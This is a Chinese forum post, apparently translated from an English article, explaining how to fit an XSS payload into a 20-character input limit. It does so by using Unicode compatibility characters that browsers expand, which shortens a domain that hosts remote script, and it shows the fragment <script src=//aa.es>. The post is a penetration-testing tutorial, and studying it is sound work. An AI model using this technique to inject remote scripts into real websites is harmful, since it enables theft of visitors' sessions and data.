首页
社区
课程
招聘
[翻译]Exploiting XSS with 20 characters limitation
发表于: 2019-12-19 13:55 7018

[翻译]Exploiting XSS with 20 characters limitation

2019-12-19 13:55
7018

原文:594K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6B7L8r3q4B7j5i4u0S2i4K6u0W2k6$3W2@1L8r3q4T1i4K6u0W2K9h3!0Q4x3V1k6H3L8%4y4@1M7#2)9J5c8U0t1H3x3e0W2Q4x3V1j5I4x3g2)9J5c8U0x3H3i4K6u0r3h3q4y4e0i4K6g2X3x3U0m8Q4y4h3k6U0K9r3q4J5j5h3y4@1k6i4u0K6i4K6u0W2K9s2c8E0L8l9`.`.

翻译:cherrir

校对:lipss



     跨站点脚本攻击是web渗透测试中最常见的漏洞之一。但是由于注入点字符限制的问题,有时payload无法执行成功,在这篇文章中,将利用unicode兼容性来突破这一限制。

在unicode等价里一些字符的序列有相同的含义。

该特性被引入到标准中,以便与现有的标准字符集兼容,unicode有两种方法处理这种兼容性和规范等价性。

1、规范等价性:一些有着相同外形的字符序列也被认为有着相同的含义,如:n + ◌̃ = ñ。

2、兼容等价性:一些字符的外形可能不同,但是在某些情况下含义相同,如:ff字符等价于ff

因此,假设payload长度被限制,我们可以用如下这个不超过20个字符的payload:

这个payload只能简单弹个框,并不能展示xss的危害,例如加载外部JavaScript文件<script src=//aa.es>,让我们能更灵活地准备更复杂的XSS攻击。

这样的短payload可以实现输入20个字符加载远程JavaScript文件。但是弊端就是后面加载远程JavaScript文件的短域名早已经被注册或者购买价格太昂贵。


浏览器对某些unicode字符具有兼容性,例如payload:

注意:ff是一个字符,但是当浏览器解析时,ff被扩展为ff。这种特性可以用更便宜的方式购买更具有影响力的域名:

ff 扩展为 ff

℠ 扩展为 sm

㏛ 扩展为 sr

st 扩展为 st

㎭ 扩展为 rad

℡ 扩展为 tel

更多类似的unicode字符请参考:575K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2#2L8X3W2U0L8$3c8W2i4K6u0W2L8%4u0Y4i4K6u0r3j5$3S2S2M7Y4c8K6i4K6u0r3L8X3!0J5L8h3q4D9K9i4A6S2N6r3W2G2L8W2)9J5c8R3`.`.

可以在这里查看unicode字符被浏览器解析后的样子:02aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2U0L8$3#2H3j5i4u0@1i4K6u0W2j5$3!0E0i4K6u0r3k6h3&6Q4x3V1k6#2L8X3W2U0L8$3c8W2i4K6u0r3g2g2)9J5b7U0t1I4x3U0p5`.


比如,我们注册域名telsr.pw这个例子只花1.28美元。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2019-12-19 14:04 被cherrir编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回